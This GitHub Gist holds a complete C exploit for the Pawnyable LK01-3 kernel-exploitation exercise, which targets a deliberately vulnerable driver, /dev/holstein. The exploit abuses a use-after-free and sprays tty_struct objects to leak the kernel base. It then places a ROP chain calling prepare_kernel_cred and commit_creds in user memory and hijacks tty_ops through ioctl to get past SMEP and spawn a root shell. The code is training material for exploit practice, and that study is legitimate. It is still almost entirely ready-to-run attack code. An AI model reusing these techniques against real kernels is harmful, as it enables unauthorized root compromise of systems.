Created
November 28, 2022 13:49
-
-
Save brant-ruan/3b3c40d10eba92943b925607824582ab to your computer and use it in GitHub Desktop.
Pawnyable LK01-3 (bypass KASLR, SMEP with SMAP disabled)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define SPRAY_NUM 100 | |
#define ofs_tty_ops 0xc39c60 | |
#define mov_esp_0x39000000_ret (kbase + 0x5b5410) | |
#define prepare_kernel_cred (kbase + 0x72560) | |
#define commit_creds (kbase + 0x723c0) | |
#define pop_rdi_ret (kbase + 0x14078a) | |
#define pop_rcx_ret (kbase + 0x0eb7e4) | |
#define mov_rdi_rax_rep_movsq_ret (kbase + 0x638e9b) | |
#define swapgs_restore_regs_and_return_to_usermode (kbase + 0x800e26) | |
void fatal(char *msg) { | |
perror(msg); | |
exit(-1); | |
} | |
void spawn_shell(); | |
uint64_t user_cs, user_ss, user_rflags, user_sp; | |
uint64_t user_rip = (uint64_t)spawn_shell; | |
unsigned long kbase; | |
int spray[SPRAY_NUM]; | |
void spawn_shell() { | |
puts("[+] returned to user land"); | |
uid_t uid = getuid(); | |
if (uid == 0) { | |
printf("[+] got root (uid = %d)\n", uid); | |
} else { | |
printf("[!] failed to get root (uid: %d)\n", uid); | |
exit(-1); | |
} | |
puts("[*] spawning shell"); | |
system("/bin/sh"); | |
exit(0); | |
} | |
void save_userland_state() { | |
puts("[*] saving user land state"); | |
__asm__(".intel_syntax noprefix;" | |
"mov user_cs, cs;" | |
"mov user_ss, ss;" | |
"mov user_sp, rsp;" | |
"pushf;" | |
"pop user_rflags;" | |
".att_syntax"); | |
} | |
int main() { | |
save_userland_state(); | |
puts("[*] UAF-1: open fd1, fd2; close fd1"); | |
int fd1 = open("/dev/holstein", O_RDWR); | |
int fd2 = open("/dev/holstein", O_RDWR); | |
close(fd1); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] leaking kernel base and g_buf with tty_struct\n"); | |
char buf[0x400]; | |
read(fd2, buf, 0x400); // read tty_struct | |
kbase = *(unsigned long *)&buf[0x18] - ofs_tty_ops; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
if ((kbase & 0xffffffffffff0000) == 0xffffffffffff0000) { | |
printf("[-] heap spraying failed\n"); | |
exit(-1); | |
} | |
char *userland = mmap((void *)(0x39000000 - 0x4000), 0x8000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); | |
if ((unsigned long *)userland == (unsigned long *)-1) | |
fatal("mmap"); | |
printf("[+] 0x%lx address mmaped\n", (unsigned long)userland); | |
// craft rop chain and fake function table | |
printf("[*] crafting rop chain from 0x39000000\n"); | |
unsigned long *chain = (unsigned long *)0x39000000; | |
*chain++ = pop_rdi_ret; | |
*chain++ = 0x0; | |
*chain++ = prepare_kernel_cred; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = mov_rdi_rax_rep_movsq_ret; | |
*chain++ = commit_creds; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = pop_rcx_ret; | |
*chain++ = 0; | |
*chain++ = pop_rcx_ret; | |
*chain++ = mov_esp_0x39000000_ret; // fake ops ioctl | |
*chain++ = swapgs_restore_regs_and_return_to_usermode; | |
*chain++ = 0x0; | |
*chain++ = 0x0; | |
*chain++ = user_rip; | |
*chain++ = user_cs; | |
*chain++ = user_rflags; | |
*chain++ = user_sp; | |
*chain++ = user_ss; | |
puts("[*] UAF-2: open fd3, fd4; close fd3"); | |
int fd3 = open("/dev/holstein", O_RDWR); | |
int fd4 = open("/dev/holstein", O_RDWR); | |
close(fd3); // free(g_buf) | |
printf("[*] spraying %d tty_struct objects\n", SPRAY_NUM / 2); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
printf("[*] overwriting tty_struct target-2 with fake tty_ops ptr at 0x39000000\n"); | |
read(fd4, buf, 0x20); | |
*(unsigned long *)&buf[0x18] = 0x39000000; | |
write(fd4, buf, 0x20); | |
printf("[*] invoking ioctl to hijack control flow\n"); | |
// hijack control flow | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
ioctl(spray[i], 0, 0); | |
} | |
getchar(); | |
close(fd2); | |
close(fd4); | |
for (int i = 0; i < SPRAY_NUM; i++) | |
close(spray[i]); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment